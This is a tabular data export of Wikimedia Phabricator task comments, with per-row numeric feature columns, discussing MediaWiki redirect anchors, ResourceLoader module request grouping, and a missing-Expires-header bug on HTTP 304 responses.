* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect."
874863,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](https://www.mediawiki.org/wiki/Compatibility), or when JS failed due to network issues), then the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307765,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.25,0.0,0.0,0.5,1.25,3.5,1.5,0.0,0.0,0.25,1.25,0.5,0.0,0.25,0.0,2.25,0.5,6.5,10.75,0.0,1.0,0.25,0.0,0.25,0.75,0.0,0.0,0.0,0.25,0.75,0.5,5.25,1.5,0.75,0.75,0.0,0.0,0.25,0.25,1.25,0.25,0.0,0.75,3.5,0.25,0.0,0.0,0.25,0.25,14.5,0.25,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.25,0.25,0.25,0.25,0.0,10.25,2.5,11.5,2.5,1.5,11.5,0.0,0.0,0.0,0.0,3.0,0.0,0.75,0.0,3.0,10.75,6.0,0.0,0.5,0.0,3.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.25,3.955263157894737,0.6710526315789473,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to CODE, which is a redirect to CODE. The problem is that when reading the other page without the  Grade A JavaScript run-time (e.g. JS disabled, or [Grade C browser](URL or when JS failed due to network issues), then the user will end up on the CODE article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (CODE) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of CODE the link would become CODE. (Currently it is CODE, canonical destination would be: CODE)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect."
874861,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to `Knight 4000`, which is a redirect to `KITT#Knight_4000`. The problem is that when reading the other page in a browser without JavaScript, the user will end up on the `KITT` article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (`rel=canonical`) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect.",,,1497307613,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.25,0.0,0.0,0.5,1.25,3.5,1.5,0.0,0.0,0.25,1.25,0.5,0.0,0.25,0.0,2.25,0.5,6.0,10.5,0.0,1.0,0.25,0.0,0.25,0.25,0.0,0.0,0.0,0.25,0.75,0.5,5.5,1.5,0.75,0.75,0.0,0.0,0.25,0.25,1.25,0.25,0.0,0.75,3.75,0.25,0.0,0.0,0.25,0.25,13.25,0.25,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.5,0.5,0.25,0.25,0.25,0.25,0.0,10.25,2.5,10.25,2.25,1.0,11.5,0.0,0.0,0.0,0.0,3.0,0.0,0.75,0.0,3.0,10.5,4.75,0.0,0.5,0.0,3.0,0.0,1.75,3.25,0.0,3.0,0.0,0.0,0.0,3.9915730337078656,0.6657303370786516,"Retrospect 4 years later.

The main problem:

Given the example of a page linking to CODE, which is a redirect to CODE. The problem is that when reading the other page in a browser without JavaScript, the user will end up on the CODE article with no discoverable way to get to the Knight 4000 section.

Related use cases we don't want to break:
* When following a redirect, editors prefer knowing about it in a user-visible way (HTTP redirects are not visible to the user*). We currently do this by not performing an HTTP redirect, and instead rendering the target page with a modified header saying //""Redirected from X""//.
* When redirects are indexed by search engines, we avoid problems by ensuring the destination has a Canonical Link (CODE) specified with the url for the regular view of the destination page.

I think we can solve this quite easily nowadays. 

* In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).

Example:
* In the case of CODE the link would become CODE. (Currently it is CODE, canonical destination would be: CODE)

Rationale:
* Adding any hash fragment of the redirect destination ensures that browsers always jump to the intended section on the page. Without requiring JavaScript hacks (like we do now).
* By continuing to link to the redirect page url (and not the destination), we still maintain the ""redirected from"" header.

Caveats:
* The Parser (LinkCache) already knows whether a title is a redirect, but destinations aren't known at the moment.
* If we use the destination information, we should update HTMLCacheUpdate to also purge incoming page links when the current page is a redirect."
874858,Consider changing wikipage redirects to be proper HTTP redirects,,,,1497307051,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
874857,Consider changing wikipage redirects to be proper HTTP redirects,,,,1497307041,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,197,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
725272,Consider changing wikipage redirects to be proper HTTP redirects,User 24.151.10.165 has added a note about this issue [[ https://en.wikipedia.org/wiki/User_talk:Zazpot#Javascript_redirect_to_section.2Fanchor_dependency | on my talk page ]].,,,1473373052,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,158,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.25,0.9,User 24.151.10.165 has added a note about this issue [[ URL | on my talk page ]].
723284,Consider changing wikipage redirects to be proper HTTP redirects,"> Lahwaacz wrote:
> Is the ""Redirected from"" message really more important than breaking links for browsers with JavaScript disabled? JavaScript should be used to enhance functionality and not to break stuff. Isn't it possible to do it the opposite way and add the ""Redirected from"" message using a JavaScript when the page was loaded through a HTTP redirect?

I agree with Lahwaacz here.",,,1473171071,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,157,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9,"QUOTE
QUOTE

I agree with Lahwaacz here."
622235,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#556866, @PleaseStand wrote:
> (In reply to comment #1)
>> So possible solutions:
>> 
>> * When accessed directly, do a proper 301 or 302 redirect instead of target
>> content with <link rel=canonical>
> 
> Not going to happen; see bug 18883. This would make it impossible to include the ""(Redirected from $1)"" message.
> 
> So perhaps the best we can do is to add a new ""(Redirected from $1 to section $2)"" message, so the user can at least know what section was supposed to scroll into view, and quickly jump to that section.

Is the ""Redirected from"" message really more important than breaking links for browsers with JavaScript disabled? JavaScript should be used to enhance functionality and not to break stuff. Isn't it possible to do it the opposite way and add the ""Redirected from"" message using a JavaScript when the page was loaded through a HTTP redirect?",,,1457005853,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,131,True,0.0,0.0,0.0,2.0,2.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,22.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,12.0,16.0,2.0,5.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,4.168674698795181,0.5783132530120482,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Is the ""Redirected from"" message really more important than breaking links for browsers with JavaScript disabled? JavaScript should be used to enhance functionality and not to break stuff. Isn't it possible to do it the opposite way and add the ""Redirected from"" message using a JavaScript when the page was loaded through a HTTP redirect?"
240831,Consider changing wikipage redirects to be proper HTTP redirects,"(In reply to comment #1)
> So possible solutions:
> 
> * When accessed directly, do a proper 301 or 302 redirect instead of target
> content with <link rel=canonical>

Not going to happen; see bug 18883. This would make it impossible to include the ""(Redirected from $1)"" message.

So perhaps the best we can do is to add a new ""(Redirected from $1 to section $2)"" message, so the user can at least know what section was supposed to scroll into view, and quickly jump to that section.",,,1385046291,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,6.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,2.0,11.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,11.0,0.0,5.0,0.0,2.0,13.0,2.0,0.0,4.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,0.0,3.24468085106383,0.6276595744680851,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Not going to happen; see bug 18883. This would make it impossible to include the ""(Redirected from $1)"" message.

So perhaps the best we can do is to add a new ""(Redirected from $1 to section $2)"" message, so the user can at least know what section was supposed to scroll into view, and quickly jump to that section."
240824,Consider changing wikipage redirects to be proper HTTP redirects,"If redirects where resolved at the URL level, this would be trivial (we'd include the fragment in the 301 or 302 Location header).

However since MediaWiki doesn't do that, there is no way that I know of to automatically skip to a section without javascript.

Example: Page [[Knight 4000]] is a redirect to section ""Knight 4000"" on page [[KITT#Knight_4000]]

When linking to it from within a page like ""[[Knight 4000]]"" it renders as <a href=""./Knight_4000"">. One could wonder why this isn't resolved server-side, but I imagine it has to do with caching (the redirect target can change, and the article linking to it would have to be purged).

When accessing it directly by url (/wiki/Knight_4000) the server doesn't redirect with 301 or 302, instead it responds normally with the content of the redirect target ([[KITT]] in this case) and the redirectToFragment javascript jumps to the correct section). Note that redirect pages do contain a <link rel=canonical> to avoid these from being indexed as duplicate entries.

So possible solutions:

* When accessed directly, do a proper 301 or 302 redirect instead of target content with <link rel=canonical>

* Or; if the above is infeasible or undesired: Have the MediaWiki parser resolve links inside a page to the redirect target (naturally including the fragment), so that [[Knight 4000]] would result in  <a href=""./KITT#Knight_4000""></a> instead of <a href=""./Knight_4000""></a>. However this is likely even less feasible as that would require us to purge all pages that link to a redirect when the redirect is edited",,,1379474487,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,3,True,0.25,0.0,0.0,1.0,0.75,3.5,1.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.25,1.0,0.0,5.75,10.75,0.0,1.25,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,1.25,0.25,4.25,0.75,1.5,0.0,0.0,0.0,0.0,0.25,1.0,0.25,0.0,0.0,1.75,0.0,0.5,0.25,0.25,0.25,11.25,1.25,0.75,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.75,0.75,0.25,0.25,0.5,0.5,0.0,6.75,2.5,6.75,3.25,1.75,9.0,0.0,0.0,0.0,0.0,4.75,0.0,2.75,0.0,2.75,10.75,4.0,0.0,1.25,0.0,2.75,0.0,2.0,2.75,0.25,1.25,0.25,0.0,5.0,3.9593732071141705,0.7373422260470454,"If redirects where resolved at the URL level, this would be trivial (we'd include the fragment in the 301 or 302 Location header).

However since MediaWiki doesn't do that, there is no way that I know of to automatically skip to a section without javascript.

Example: Page [[Knight 4000]] is a redirect to section ""Knight 4000"" on page [[KITT#Knight_4000]]

When linking to it from within a page like ""[[Knight 4000]]"" it renders as <a href=""./Knight_4000"">. One could wonder why this isn't resolved server-side, but I imagine it has to do with caching (the redirect target can change, and the article linking to it would have to be purged).

When accessing it directly by url (/wiki/Knight_4000) the server doesn't redirect with 301 or 302, instead it responds normally with the content of the redirect target ([[KITT]] in this case) and the redirectToFragment javascript jumps to the correct section). Note that redirect pages do contain a <link rel=canonical> to avoid these from being indexed as duplicate entries.

So possible solutions:

* When accessed directly, do a proper 301 or 302 redirect instead of target content with <link rel=canonical>

* Or; if the above is infeasible or undesired: Have the MediaWiki parser resolve links inside a page to the redirect target (naturally including the fragment), so that [[Knight 4000]] would result in  <a href=""./KITT#Knight_4000""></a> instead of <a href=""./Knight_4000""></a>. However this is likely even less feasible as that would require us to purge all pages that link to a redirect when the redirect is edited"
53564,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","In production right now we're causing RL to have to do a separate HTTP request for modules like ""ext.vector.footerCleanup"".

This is pointless, it should be part of the regular queue that is on every page. It was perhaps useful in the past when there were more modules in the ""ext.vector"" group that load on every page from the same queue (so that different pages with different modules in their queue would share this cache), but right now this is the only one left and no longer justified being in a separate request.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=45051",Medium,50.0,1374087000,1374193615.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-3rkdthpflu6blnlykpcv,task_description,resolved,True,c2,1,True,False,True,-6,True,1.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.5,0.0,1.0,0.5,0.5,0.0,6.0,9.5,0.0,1.0,0.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.0,1.5,2.0,0.0,0.5,0.0,0.5,0.0,13.0,1.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,4.0,4.0,6.5,2.0,1.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.5,9.5,1.0,0.0,2.0,0.0,2.5,0.0,1.5,1.5,0.0,0.5,1.5,0.0,0.0,3.8860244233378562,0.7365445499773858,"In production right now we're causing RL to have to do a separate HTTP request for modules like ""ext.vector.footerCleanup"".

This is pointless, it should be part of the regular queue that is on every page. It was perhaps useful in the past when there were more modules in the ""ext.vector"" group that load on every page from the same queue (so that different pages with different modules in their queue would share this cache), but right now this is the only one left and no longer justified being in a separate request.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
255767,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","Change 74315 merged by jenkins-bot:
Remove cache group ""ext.vector"" from modules definitions

https://gerrit.wikimedia.org/r/74315",,,1374193275,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7,0.95,"Change 74315 merged by jenkins-bot:
Remove cache group ""ext.vector"" from modules definitions

GERRIT_URL"
255761,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","True, but that might take a while.

Saving 2 http requests globally is a big fish to catch for such a small bait.",,,1374112552,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,3.4074074074074074,0.8888888888888888,"True, but that might take a while.

Saving 2 http requests globally is a big fish to catch for such a small bait."
255754,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","Change 74315 had a related patch set uploaded by Krinkle:
Remove cache group ""ext.vector"" from modules definitions

https://gerrit.wikimedia.org/r/74315",,,1374112167,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.826086956521739,0.9565217391304348,"Change 74315 had a related patch set uploaded by Krinkle:
Remove cache group ""ext.vector"" from modules definitions

GERRIT_URL"
255747,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","(In reply to comment #2)
> Well, the best way to fix this would be to just fix bug 45051.

Agreed.",,,1374111496,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6923076923076925,1.0,"(In reply to comment #2)
QUOTE

Agreed."
255740,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request","Well, the best way to fix this would be to just fix bug 45051.",,,1374092637,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0625,0.875,"Well, the best way to fix this would be to just fix bug 45051."
255734,"Vector: Module ""ext.vector.footerCleanup"" and ""ext.vector.collapsibleNav"" should not each load in a separate http request",Since ext.vector.footerCleanup and ext.vector.collapsibleNav are in the top and bottom queue respectively they also don't load together but are two separate requests.,,,1374087195,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3rkdthpflu6blnlykpcv,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.041666666666667,0.9166666666666666,Since ext.vector.footerCleanup and ext.vector.collapsibleNav are in the top and bottom queue respectively they also don't load together but are two separate requests.
53283,ResourceLoader should not respond with HTTP 304 without Expires (and other) headers,"**Author:** `davidt-mediawiki-bugz`

**Description:**
There are two code paths that can lead to ResourceLoader.php calling tryRespondLastModified:

ResourceLoader::respond
  if ( $wgUseFileCache )
    ResourceLoader::tryRespondFromFileCache
      ResourceLoader::sendResponseHeaders
      ResourceLoader::tryRespondLastModified

or

ResourceLoader::respond
  tryRespondLastModified

Only one of these paths calls ResourceLoader::sendResponseHeaders.

The other path will set a HTTP 304 status and Status: 304 header, but no other headers.  The lack of the Expires header in particular causes a variety of odd problems when using (at least) mod_proxy/mod_disk_cache as an apache-based caching reverse proxy.

Using mod_proxy and mod_disk_cache from apache2 pre-2.2.18, this leads to the proxy returning erroneous 304 responses to clients who sent unconditional requests (see https://issues.apache.org/bugzilla/show_bug.cgi?id=45341).

After the fix/workaround added in 2.2.18, mod_proxy will now correctly send the cached content back to the client, but will then immediately purge the page from the cache, which is not ideal.

I fixed this locally by moving the call to sendResponseHeaders from the first call path after the call to tryRespondLastModified, then adding a call to sendResponseHeaders in tryRespondLastModified itself.

--------------------------
**See Also**:
